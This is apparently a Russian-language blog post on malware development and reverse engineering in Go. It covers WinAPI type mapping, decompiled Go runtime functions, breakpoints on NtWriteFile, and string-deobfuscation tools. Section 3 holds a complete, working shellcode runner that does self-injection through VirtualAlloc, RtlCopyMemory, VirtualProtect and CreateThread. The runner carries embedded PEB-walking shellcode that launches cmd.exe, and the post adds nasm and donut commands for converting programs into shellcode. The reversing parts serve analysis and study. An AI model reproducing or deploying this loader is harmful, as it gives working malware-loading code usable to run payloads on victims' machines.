Malware Development | golang #1

2026-08-07

Go как язык с точки зрения malware dev / реверса.

Полезная табличка соответствия по WinAPI :

Windows Go golang.org/x/sys/windows
HWND uintptr windows.HWND
HANDLE uintptr windows.HANDLE
BOOL int32 windows.BOOL
DWORD uint32 windows.DWORD
WORD uint16 windows.WORD
BYTE uint8 windows.BYTE
INT / int int32 -
UINT uint32 -
LONG int32 -
ULONG uint32 -
LONGLONG int64 -
ULONGLONG uint64 -
LPVOID / PVOID unsafe.Pointer -
LPSTR *byte -
LPCSTR *byte -
LPWSTR *uint16 -
LPCWSTR *uint16 windows.StringToUTF16Ptr("s")
SIZE_T uintptr -
HMODULE uintptr windows.Handle
FARPROC uintptr -
LPBYTE *byte -
struct struct поля один в один
NULL nil / 0 -
//Строки = LPCWSTR
windows.StringToUTF16Ptr("txt");

//HANDLE/HWND
windows.HWND(0)
windows.HWND(hWnd) //uintptr

//pointers
unsafe.Pointer(ptr) //LPVOID
uintptr(ptr)      //арифметика

//BOOL
if result != 0 {};

1. hello world

Компилятор статически линкует весь rt в бинарник, даже hello world занимает 2.5 MB. Внутри:

  1. goroutine scheduler;

  2. GC;

  3. “fmt” со всем reflection;

  4. STDLIB

Как найти main?

_start runtime.rt0_go runtime.main main.main\text{\_start $\Rightarrow$ runtime.rt0\_go $\Rightarrow$ runtime.main $\Rightarrow$ main.main}

Вот что можно увидеть в простейшем бинарнике без функционала (всего там\approx 2k функций)

void __cdecl main_main()
{
  __int64 v0; // r14
  void *retaddr; // [rsp+18h] [rbp+8h] BYREF

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) ) // проверка на выход из пределов стека, stackguard
    runtime_morestack_noctxt_abi0();                        // тк го сам инициализирует стек (g0)
    
  fmt_Fprintln();
}

Сам print :

__int64 __fastcall fmt_Fprintln()
{
  __int64 v0; // rax
  __int64 v1; // r14
  __int64 v3; // [rsp+8h] [rbp-18h]
  void *retaddr; // [rsp+28h] [rbp+8h] BYREF
  __int64 v5; // [rsp+30h] [rbp+10h]

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v1 + 16) )//stackguard
    runtime_morestack_noctxt_abi0();
    
  v5 = v0;
  fmt_newPrinter();
  fmt___pp__doPrintln();
  v3 = (*(__int64 (**)(void))(v5 + 24))();
  fmt___pp__free();
  return v3;
}

Ой, точнее, вот сам принт:

__int64 *__fastcall fmt___pp__doPrintln(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  __int64 *result; // rax
  __int64 v5; // rbx
  __int64 v6; // r14
  __int64 v7; // rdx
  unsigned __int64 v8; // r11
  __int64 v9; // r12
  __int64 v10; // rbx
  __int64 v11; // rax
  __int64 *v12; // rdx
  __int64 v13; // rcx
  __int64 v14; // rsi
  __int64 *v15; // r11
  unsigned __int64 v16; // rbx
  __int64 v17; // rdx
  __int64 v18; // rax
  __int64 *v19; // rdx
  __int64 v20; // rcx
  __int64 *v21; // r11
  __int64 v22; // rcx
  __int64 v23; // rcx
  __int64 v24; // [rsp-40h] [rbp-60h]
  __int64 v25; // [rsp-38h] [rbp-58h]
  __int64 v26; // [rsp-30h] [rbp-50h]
  __int64 v27; // [rsp-28h] [rbp-48h]
  __int64 v28; // [rsp-20h] [rbp-40h]
  __int64 v29; // [rsp+0h] [rbp-20h]
  __int64 v30; // [rsp+18h] [rbp-8h]
  void *retaddr; // [rsp+28h] [rbp+8h] BYREF
  __int64 *v32; // [rsp+30h] [rbp+10h]
  __int64 v33; // [rsp+40h] [rbp+20h]

  if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v6 + 16) )//stackguard
    runtime_morestack_noctxt_abi0();
    
  v32 = result;
  
  v33 = a4;
  v7 = 0LL;
  while ( a4 > v7 ) //[]interface{} iter; slice аргументов
  {
    v29 = v7;
    v30 = v5;
    
    if ( v7 > 0 )
    {
      v8 = result[1] + 1;
      v9 = *result;
      if ( result[2] < v8 )
      {
        v10 = result[1] + 1;
        runtime_growslice(v24, v25, v26, v27, v28); // растим буфер
        v12 = v32;
        v32[2] = v13;
        if ( runtime_writeBarrier ) // нужен тк gc должен знать о каждом измененном указателе
        {
          v14 = *v32;
          v11 = runtime_gcWriteBarrier2();
          *v15 = v11;
          v15[1] = v14;
        }
        *v12 = v11;
        v8 = v10;
        v9 = v11;
        result = v32;
      }
      result[1] = v8;
      *(_BYTE *)(v8 + v9 - 1) = 32;//пробел между аргументами, 0x20
    }
    fmt___pp__printArg();//печатаем 1 арг через reflection
    v5 = v30 + 16;
    v7 = v29 + 1;
    result = v32;
    a4 = v33;
  }
  v16 = result[1] + 1;
  v17 = *result;
  if ( result[2] < v16 )
  {
    runtime_growslice(v24, v25, v26, v27, v28);
    v19 = v32;
    v32[2] = v20;
    if ( runtime_writeBarrier )
    {
      v18 = runtime_gcWriteBarrier2();
      *v21 = v18;
      v21[1] = v22;
    }
    *v19 = v18;
    v23 = v18;
    result = v19;
    v17 = v23;
  }
  result[1] = v16;
  
  *(_BYTE *)(v16 + v17 - 1) = 10; // 10 == '\n' == ln
  return result;
}

Call stack:

main.main
    fmt.Println
        fmt.Fprintln
            pp = newprinter()            ; sync.Pool
            pp.doPrinln()
                pp.printArg(arg,'v')     ; typedef via reflection
                                         ; тк println может принимать любой тип через interface{}
                    pp.fmtString(s, 'v') ; write bytes
                w.Write(pp.bug)          ; flush?
                pp.free()                ; возвращаем память в пул

Тогда можно сказать, что нет смысла вдаваться в детали реализации функций, нужно просто посмотреть аргументы. Ида не видит аргументов (main.main выше), т.к у go свой abi (1.17+): rax,rbx,rcx,rdi,rsi,r8,r9,r10,r11.

pp* newPrinter() => rax==pp => doPrintln(rax, arg10, arg18, arg20)
main.main
  * rax = *os.Stdout
  * rbx = []interface{}{"hello world"}  (slice: ptr, len=1, cap=1)
  * call fmt.Fprintln

fmt.Fprintln
  * fmt_newPrinter() => rax = *pp
  * rbx/rcx/rdi = slice
  =>* call fmt___pp__doPrintln

Если захотеть поставить бп на WriteFile, то он не сработает. Go не использует WinAPI, происходят Direct Syscalls:

fmt.Println
    os.(*File).Write
       syscall.Write
          syscall.Syscall       
            NtWriteFile (ntdll) 

\Rightarrow bp ntdll.NtWriteFile. Для вывода в консоль работает и bp WriteConsoleW.


Неприятно видеть даже простейшие программы, но они еще и обфусцируются(напр., garble,obfuscator.io). Для деобфускации может пригодиться GoStringUngarbler:

  1. https://cloud.google.com/blog/topics/threat-intelligence/gostringungarbler-deobfuscating-strings-in-garbled-binaries

  2. https://undercodetesting.com/gostringungarbler-deobfuscating-strings-in-garbled-binaries/

Принцип работы подробно описан в 1), если вкратце - программа найдет все декрипт функции по паттернам, проэмулирует каждую через Unicorn, выдаст патченый бинарник, где вместо декрипт функций будут плейнтекст строки. Но есть один ньюанс - работает только для гарбла с флагом -literals.

git clone https://github.com/mandiant/gostringungarbler
cd gostringungarbler
pip install -r requirements.txt
python gostringungarbler.py mpclient.dll -o mpclient_deobf.dll

Еще можно попробовать это

goresym.exe -t -d -p <binary.exe> => json(f names, addresses) => import in ghidra
strings a.exe | findstr /i "main\."

objdump -t a.exe | findstr /i main

Если и это не помогает - остается динамика. Достаточно правильно настроенного Procmon, Fakenet-ng, x64dbg с защитой от антидебагинга. Нужно только правильно ставить бп и следить за регистрами.


2. MessageBoxW

//user32.dll
int MessageBoxW(
  [in, optional] HWND    hWnd,
  [in, optional] LPCWSTR lpText,
  [in, optional] LPCWSTR lpCaption,
  [in]           UINT    uType
);

Детектить: bp LdrLoadDll -> wait for user32.dll -> bp user32.MessageBoxW


package main
import ( "golang.org/x/sys/windows" )

func main() {
    //char str[] = "hello\n";
    str := []byte("hello\n")

    //DWORD written;
    written := new(uint32)

    //HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE)
    hOut, err := windows.GetStdHandle(windows.STD_OUTPUT_HANDLE)
    if err != nil {
        windows.Exit(1)
    }

    //WriteFile(hOut, str, *written, NULL)
    windows.WriteFile(hOut, str, written, &windows.Overlapped{})
    
    windows.MessageBox(windows.HWND(0),//handle
        windows.StringToUTF16Ptr("text"),
        windows.StringToUTF16("name"),
        windows.MB_OK)

}

3. Shellcode Runner / Self Injection

VirtualAlloc (RWX) => copy shellcode => CreateThread => WaitForSingleObject

Детект: Go вызывает WinAPI через syscall wrappers, структура PE в памяти.

1) Достаем ptr(.data)
2) Шеллкод - winexec(cmd.exe,0) via PEB walk
3) VirtualAlloc(RW)
4) NewLazySystemDLL -> RtlCopyMemory
5) VirtualProtect(RE)
6) CreateThread := kernel32.NewProc("CreateThread")
7) CreateThread.Call
8) WaitForSingleObject(handle(thread),0xffffffff)
f, _ := pe.Open(os.Args[1])
defer f.Close() // 

exe, _ := os.Executable() // открыть себя как PE
f, _ := pe.Open(exe) 
defer f.Close()

s := f.Section(".data") //получить секцию по имени
data, _ := s.Data()     //содержимое секции
s.VirtualAddress()      //VA(.data)

handle, _ := windows.LoadLibrary("name.dll")
osFile    := os.NewFile(uintptr(handle), "dll")
f, _      := pe.NewFile(osFile)
package main

import (
  "debug/pe"
  "fmt"
  "golang.org/x/sys/windows"
  "log"
  "os"
  "unsafe"
)

func main() {
  exe, _ := os.Executable()
  f, _ := pe.Open(exe)
  defer f.Close()

  data := f.Section(".data")

  fmt.Printf("va = 0x%X, size = 0x%X \n", data.VirtualAddress, data.Size)

  shellcode := []byte{0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x40, 0x48, 0x31, 0xf6, 0x56, 0x48, 0xb8, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x50, 0x48, 0x89, 0x65, 0xf8, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5b, 0x18, 0x48, 0x8b, 0x5b, 0x20, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x48, 0x89, 0x5d, 0xf0, 0x8b, 0x43, 0x3c, 0x48, 0x01, 0xd8, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xd8, 0x8b, 0x48, 0x24, 0x48, 0x01, 0xd9, 0x48, 0x89, 0x4d, 0xe8, 0x8b, 0x78, 0x20, 0x48, 0x01, 0xdf, 0x48, 0x89, 0x7d, 0xe0, 0x8b, 0x50, 0x1c, 0x48, 0x01, 0xda, 0x48, 0x89, 0x55, 0xd8, 0x8b, 0x50, 0x14, 0x31, 0xc0, 0x48, 0x8b, 0x7d, 0xe0, 0x48, 0x8b, 0x75, 0xf8, 0x8b, 0x0c, 0x87, 0x48, 0x01, 0xd9, 0x48, 0x89, 0xcf, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xfc, 0xf3, 0xa6, 0x74, 0x0b, 0xff, 0xc0, 0x39, 0xd0, 0x72, 0xdf, 0x48, 0x31, 0xc0, 0xeb, 0x12, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x55, 0xd8, 0x0f, 0xb7, 0x04, 0x41, 0x8b, 0x04, 0x82, 0x48, 0x01, 0xd8, 0x48, 0x8d, 0x0d, 0x0c, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00}
  fmt.Printf("shellcode len = 0x%X\n", len(shellcode))

  //allocate memory with RW
  addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
  if err != nil {
     log.Fatal(err)
  }

  //need to load ntdll to use RtlCopyMemory
  ntdll := windows.NewLazySystemDLL("ntdll.dll")

  RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")

  _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

  if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
     log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
  }

  //dst := unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode))
  //copy(dst, shellcode)

  //change memory area protection to ER
  var oldProtect uint32
  errVirtProt := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
  if errVirtProt != nil {
     log.Fatalf("[!] VirtualProtect failed: %s", errVirtProt)
  }
  fmt.Println("[+] VirtualProtect OK")

  //need to load kernel32 to use CreateThread
  kernel32 := windows.NewLazySystemDLL("kernel32.dll")
  CreateThread := kernel32.NewProc("CreateThread")

  thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
  if thread == 0 { //createthread и другие ф-ии через LazyProc.Call возвращают err != 0, если это не го функция
     log.Fatalf("[!] CreateThread failed: %s", errCreateThread)
  }
  fmt.Printf("[+] CreateThread OK, handle=0x%X\n", thread)

  event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xffffffff)
  if errWaitForSingleObject != nil {
     log.Fatalf("[!] WaitForSingleObject failed: %s", errWaitForSingleObject)
  }

  _ = event

  print("completed")
}

Превратить асм в шеллкод:

nasm -f bin sh.asm -o sh.bin

=>

package main

import (
    "fmt"
    "os"
)

func main() {
    data, _ := os.ReadFile(os.Args[1])
    for _, b := range data {
        fmt.Printf("0x%02x, ", b)
    }
}

или donut -f 1 -i your.exe -o shell.bin

4. Defs

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);